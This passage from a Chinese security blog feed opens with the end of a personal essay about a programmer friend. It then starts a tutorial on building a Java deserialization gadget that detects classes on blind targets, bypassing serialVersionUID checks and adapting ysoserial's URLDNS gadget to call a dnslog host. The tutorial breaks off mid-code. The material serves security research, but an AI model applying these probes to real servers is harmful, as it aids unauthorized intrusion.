1px;">麦霸们开始争相在点播机前点歌，酒鬼们也用他们坚硬的牙齿翘开一瓶又一瓶黄河啤酒，“烟筒”们自然也没有闲着嘴，叼着黑兰州并互相给对方点火，不时吐出一抹白烟，缭绕在空气中。我就穿梭在这些之间，乐此不彼。</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">魁兄到是不识人间烟火，手里握着还没拧开口的白酒，安静的坐在一个被人遗忘的角落，不说话。脸上平静而祥和，到是有点像暮年的老者看着一群年轻人狂欢的寂寞。ktv红红绿绿的灯光，和他似乎有些格格不入。我以为没人跟他说话，于是跟工作室其他男男女女寒暄几番之后。我把酒杯藏在身后向他走去，他身边的学弟们也识趣地给我让出一个位置~</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">我：“魁兄，你的酒杯呢？”</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">我瞟了他一眼</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">他淡淡说到：“啤酒不醉人，又不暖心，不喜”。</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">我看了看天花板，叹气道：“那咱来一个冬天的白酒”。</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">他：“甚好”</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">⋯⋯⋯⋯</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"> </span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">我们就这样，在红男绿女的狂欢之中，在杯觥交错之间聊起编程，聊起C语言，python，Linux，还聊起了他的诗和故事。其实平生也是第一次在KTV里讨论编程知识，感觉是有点怪怪，不过相谈甚欢。聊天具体的内容我也不太记得了。只记得那个冬天，一杯白酒温暖了整个夜晚⋯⋯</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"> </span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">时间回到了前天夜里，我照常在学院看书，他突然发消息给我说来取他的诗集，我欣喜不已去他宿舍。他做在窗台边，背景是无尽的夜色。</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">他平静的说：现在也写不出诗了，我整理了一些能看的凑成一本小册子，你们将就着看吧！</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">我：为何写不出？</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">他打开窗户，外面的雪飘了进来，划过他的臂膀。他背对我说：没感觉了，或许编程太多，或许环境变了，或许我也不知道为何。</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">我默不作声，走到门口。</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">我：魁兄既有雪夜赠书之意，我亦有勾句还汝之情。</span></section><section style="margin-bottom: 5px;line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">魁兄也不做声，笑的像个孩子一样，甚是可爱</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.3333333333333333" data-s="300,640" style="" data-type="jpeg" data-w="960" src="https://wechat2rss.xlab.app/img-proxy/?k=1960cfcc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPeBJnpU5QWnNh8GT98d6CI93jJEOTye0F41zmHFny5vOf6vU9LXPXSVJUYFtia1DADaDibPjO9FPvyQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.3333333333333333" data-s="300,640" style="" data-type="jpeg" data-w="960" src="https://wechat2rss.xlab.app/img-proxy/?k=886ca02d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPeBJnpU5QWnNh8GT98d6CI9GJ2g9n16JzZ2pIwy5rAYBNTkLc3gEblWnKNRDhPKfG8uLIMtMZXFIQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.3333333333333333" data-s="300,640" style="" data-type="jpeg" data-w="960" src="https://wechat2rss.xlab.app/img-proxy/?k=6b6ca023&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPeBJnpU5QWnNh8GT98d6CI9TPR7Ld2N04AiaNQWEWXCAovicRYsjF2kn6JzeWYticnPyyfEjNY93PhAg%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="https://gv7.me/articles/2022/remember-my-brother-qui/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=48545fdb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484192%26idx%3D1%26sn%3D247d420c2146a9d9155601879d2d572d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 20 Jan 2022 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>构造java探测class反序列化gadget</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484178&amp;idx=1&amp;sn=228ccc3d624f2d64a6c1d51555c42eea</link>
      <description>给你一颗死磕反序列化漏洞的定心丸</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2021-12-31 14:26</span> <span style="display: inline-block;"></span>
</p>

<p>给你一颗死磕反序列化漏洞的定心丸</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b84f1ebf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPc7olR3LetxCPzmqC82ibKyDArj4CmUvazDia39B4WNEZFaHcSK5I1QjNfQZjKb39onYlXWxIyMkAicA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"> 0x01 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">背景</span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">你是否遇到过这样的情况，黑盒环境下有一个序列化入口。你将ysoserial所有gadget的测试了一遍，均无法RCE。由于没有报错信息，你根本无法确定是下面那个原因导致。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. 没有gadget依赖的jar</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. suid不一致</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">3. jar版本不在漏洞版本</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">4. gadget使用的class进入了黑名单</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">5. ......</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">单纯的盲测，工作量将非常大。如果我们有一个通用的探测某个class是否存在的gadget，这些问题将很好解决！</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;font-size: 18px;"> 0x02 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">解决serialVersionUID冲突问题</span></strong></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">在构造之前我们先思考一个问题，Java原生反序列化是会检测</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">serialVersionUID</span><span style="font-size: 14px;letter-spacing: 1px;">的。当我们本地序列化Class和服务器上的Class SUID不一样的时候，哪怕是真实存在这个类，我们也无法探测成功。涉及这一块检测在JDK如下方法中。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVDnYfPHXmcQYKUZrghNt60Cl2Oxf5Hz18tvVsvJdJMmrwiaRc20wicTSa5hArx7BQQFbxVZcTQOe0z/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">// java.io.ObjectStreamClass#initNonProxy</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">initNonProxy</span><span style="line-height: 26px;">(ObjectStreamClass model,<br/>                      Class&lt;?&gt; cl,<br/>                      ClassNotFoundException resolveEx,<br/>                      ObjectStreamClass superDesc)</span><br/><span style="color: #c678dd;line-height: 26px;">throws</span> InvalidClassException</span>{<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">// model是基于序列化数据构造的ObjectStreamClass对象</span><br/>    suid = Long.valueOf(model.getSerialVersionUID());<br/>    serializable = model.serializable;<br/>    externalizable = model.externalizable;<br/>    ......<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (cl != <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// 通过类名，基于当前运行环境构造的ObjectStreamClass</span><br/>        localDesc = lookup(cl, <span style="color: #c678dd;line-height: 26px;">true</span>);<br/>        ......<br/>        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// SUID检查条件：是否都或都没有实现了Serializable接口 &amp;&amp; 不是数组类 &amp;&amp; suid不相同</span><br/>        <span style="color: #c678dd;line-height: 26px;">if</span> (serializable == localDesc.serializable &amp;&amp;<br/>            !cl.isArray() &amp;&amp;<br/>            suid.longValue() != localDesc.getSerialVersionUID())<br/>        {<br/>            <span style="color: #c678dd;line-height: 26px;">throw</span> <span style="color: #c678dd;line-height: 26px;">new</span> InvalidClassException(localDesc.name,<br/>                <span style="color: #98c379;line-height: 26px;">&#34;local class incompatible: &#34;</span> +<br/>                <span style="color: #98c379;line-height: 26px;">&#34;stream classdesc serialVersionUID = &#34;</span> + suid +<br/>                <span style="color: #98c379;line-height: 26px;">&#34;, local class serialVersionUID = &#34;</span> +<br/>                localDesc.getSerialVersionUID());<br/>        }<br/>        ......<br/>    }<br/>    ......<br/>}<br/></code></pre></section><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">我们不难判断出来如果要绕过</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">serialVersionUID</span><span style="font-size: 14px;letter-spacing: 1px;">的检查就需要打破3个判断条件中的一个。这里我想到了2个方案进行绕过，假设我们要探测A类存不存在。</span><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. 动态生成一个</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">A类</span><span style="font-size: 14px;letter-spacing: 1px;">不实现</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">Serializable</span><span style="font-size: 14px;letter-spacing: 1px;">接口进行序列化。如果线上的A类是实现Serializable接口，第一个条件就不成立了直接绕过。如果线上的Class没有实现改接口，则两者suid都为</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">0L</span><span style="font-size: 14px;letter-spacing: 1px;">,第三个条件不符合，自然无需检查。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. 直接序列化</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">A[].class</span><span style="font-size: 14px;letter-spacing: 1px;">，第二个条件直接不符合，直接不用检查SUID，无需关心实现实现Serializable接口。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">这里我选择按照1的方式动态生成Class:</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVDnYfPHXmcQYKUZrghNt60Cl2Oxf5Hz18tvVsvJdJMmrwiaRc20wicTSa5hArx7BQQFbxVZcTQOe0z/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">static</span> Class <span style="color: #61aeee;line-height: 26px;">makeClass</span><span style="line-height: 26px;">(String clazzName)</span> <span style="color: #c678dd;line-height: 26px;">throws</span> Exception</span>{<br/>    ClassPool classPool = ClassPool.getDefault();<br/>    CtClass ctClass = classPool.makeClass(clazzName);<br/>    Class clazz = ctClass.toClass();<br/>    ctClass.defrost();<br/>    <span style="color: #c678dd;line-height: 26px;">return</span> clazz;<br/>}</code></pre></section><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;letter-spacing: 1px;"> 0x03 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;">一次失败的构造</span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">沿用之前的<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484067&amp;idx=1&amp;sn=3a0fe73cb30a84af18c3c932f0e661b2&amp;chksm=cf36fae3f84173f5780e94c87b325f2b2b1ccb04fd04cd85beb9aad7da1f56a0b405bdd7b425&amp;scene=21#wechat_redirect" textvalue="包裹大量脏数据绕WAF的思路" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">包裹大量脏数据绕WAF的思路</a>来构造，发现LinkedList第一个元素反序列化失败并不会导致反序列化流程停止。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">List&lt;Object&gt; a = <span style="color: #c678dd;line-height: 26px;">new</span> LinkedList&lt;Object&gt;();<br/>a.add(makeClass(<span style="color: #98c379;line-height: 26px;">&#34;TargetClass&#34;</span>));<br/>a.add(<span style="color: #c678dd;line-height: 26px;">new</span> URLDNS.getObject(<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://test.dnslog.cn" target="_blank">http://test.dnslog.cn</a>&#34;</span>));</code></pre></section><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">通过Object属性也无法成功。第一个属性反序列化失败，第二个属性依然会被反序列化。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVDnYfPHXmcQYKUZrghNt60Cl2Oxf5Hz18tvVsvJdJMmrwiaRc20wicTSa5hArx7BQQFbxVZcTQOe0z/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">Class A {<br/> <span style="color: #c678dd;line-height: 26px;">private</span> Object a; <span style="color: #5c6370;font-style: italic;line-height: 26px;">// makeClass(&#34;TargetClass&#34;)</span><br/> <span style="color: #c678dd;line-height: 26px;">private</span> Object b; <span style="color: #5c6370;font-style: italic;line-height: 26px;">// new URLDNS.getObject(&#34;<a href="http://test.dnslog.cn" target="_blank">http://test.dnslog.cn</a>&#34;)</span><br/>}</code></pre></section><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">调试后发现不存在class抛出的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">ClassNotFoundException</span><span style="font-size: 14px;letter-spacing: 1px;">异常,被</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">try...catch</span><span style="font-size: 14px;letter-spacing: 1px;">了，并不能阻断</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">java.io.ObjectInputStream#readObject</span><span style="font-size: 14px;letter-spacing: 1px;">内部流程，但是可以阻断其他可序列化类的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">readObject</span><span style="font-size: 14px;letter-spacing: 1px;">流程。也就是说需要通过</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">ClassNotFoundException</span><span style="font-size: 14px;letter-spacing: 1px;">来阻断</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">source</span><span style="font-size: 14px;letter-spacing: 1px;">到</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">sink</span><span style="font-size: 14px;letter-spacing: 1px;">之间的通路，才能断链。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;letter-spacing: 1px;"> 0x04 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;">通过dnslog探测class</span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">在一次午饭的时候和</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">@NoPoint</span><span style="font-size: 14px;letter-spacing: 1px;">师傅交流，说到了可以改造URLDNS这个gadget探测class，我之前是在fastjson中使用过类似的思路。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">重新分析了下</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">URLDNS</span><span style="font-size: 14px;letter-spacing: 1px;">的调用链，发现可以在</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">HashMap#readObject</span><span style="font-size: 14px;letter-spacing: 1px;">处阻断。当反序列化key-value时，如果value是一个不存在的Class的话，将会报错退出for循环，</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">URL对象</span><span style="font-size: 14px;letter-spacing: 1px;">作为</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">key</span><span style="font-size: 14px;letter-spacing: 1px;">将不会被</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">putForCreate</span><span style="font-size: 14px;letter-spacing: 1px;">到</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">hashcode</span><span style="font-size: 14px;letter-spacing: 1px;">方法触发dnslog。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVDnYfPHXmcQYKUZrghNt60Cl2Oxf5Hz18tvVsvJdJMmrwiaRc20wicTSa5hArx7BQQFbxVZcTQOe0z/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">// java.util.HashMap#readObject</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">private</span> <span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">readObject</span><span style="line-height: 26px;">(java.io.ObjectInputStream s)</span><br/>         <span style="color: #c678dd;line-height: 26px;">throws</span> IOException, ClassNotFoundException<br/>    </span>{<br/>    ......<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Read the keys and values, and put the mappings in the HashMap</span><br/>    <span style="color: #c678dd;line-height: 26px;">for</span> (<span style="color: #c678dd;line-height: 26px;">int</span> i=<span style="color: #d19a66;line-height: 26px;">0</span>; i&lt;mappings; i++) {<br/>      <span style="color: #5c6370;font-style: italic;line-height: 26px;">// 序列化要探测的Class</span><br/>        K key = (K) s.readObject();<br/>        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// 反序列化URL对象</span><br/>        V value = (V) s.readObject();<br/>        putForCreate(key, value);<br/>    }<br/>}<br/></code></pre></section><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">最终gadget构造如下:</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVDnYfPHXmcQYKUZrghNt60Cl2Oxf5Hz18tvVsvJdJMmrwiaRc20wicTSa5hArx7BQQFbxVZcTQOe0z/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">@Authors</span>({ Authors.NOPOINT,Authors.C0NY1 })<br/><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">FindClassByDNS</span> <span style="color: #c678dd;line-height: 26px;">implements</span> <span style="color: #e6c07b;line-height: 26px;">ObjectPayload</span>&lt;<span style="color: #e6c07b;line-height: 26px;">Object</span>&gt; </span>{<br/>        <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> Object <span style="color: #61aeee;line-height: 26px;">getObject</span><span style="line-height: 